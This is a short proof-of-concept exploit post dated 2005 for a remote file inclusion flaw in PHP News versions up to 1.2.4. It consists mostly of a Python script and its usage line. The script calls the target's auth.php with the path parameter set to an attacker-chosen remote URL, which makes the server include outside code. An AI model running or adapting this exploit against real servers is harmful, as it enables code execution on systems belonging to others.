PHP News <= 1.2.4 - Remote File Inclusion Exploit

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[badroot security POC]: PHP News <= 1.2.4 - Remote File Inclusion Exploit

=- Description -=

A simple POC exploit for PHP News <= 1.2.4 remote file inclusion 
vulnerability discovered by Filip Groszynski.

=- Exploit -=

#!/usr/bin/python
# PHP News 1.2.4 remote file inclusion exploit       
# Coded by: mozako - mozako [at] mybox [dot] it      
# Vuln. Discovered by: Filip Groszynski              
# 3.3.2005                                           
#                                                    
# (C) 2005 badroot security                          

import urllib2
import sys
__argv__ = sys.argv
def usage():
   print "PHP News 1.2.4 remote file inclusion exploit \nby: 
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p 
/PHP_News_Path/ -u http://filetoupload";
   sys.exit(-1)
if len(__argv__) < 2:
   usage()
try:
   global host
   global path
   global url
   host = __argv__[2]
   path = __argv__[4]
   url = __argv__[6]
except IndexError:
       usage()
def hack():
   try:
       print "[X] Connecting...",
       urllib2.urlopen(host + path + "auth.php?path=" + url)
       print "[OK]"
       print "[X] Sending exploit...", "[OK]"
       print "[X] File sended !"
   except urllib2.HTTPError:
       print "[Failed]"
   except urllib2.httplib.InvalidURL:
       print "[Bad host]\nis there http:// ? :)"
   except ValueError:
       print "[Bad host]\nis there http:// ? :)"
hack()
# eof

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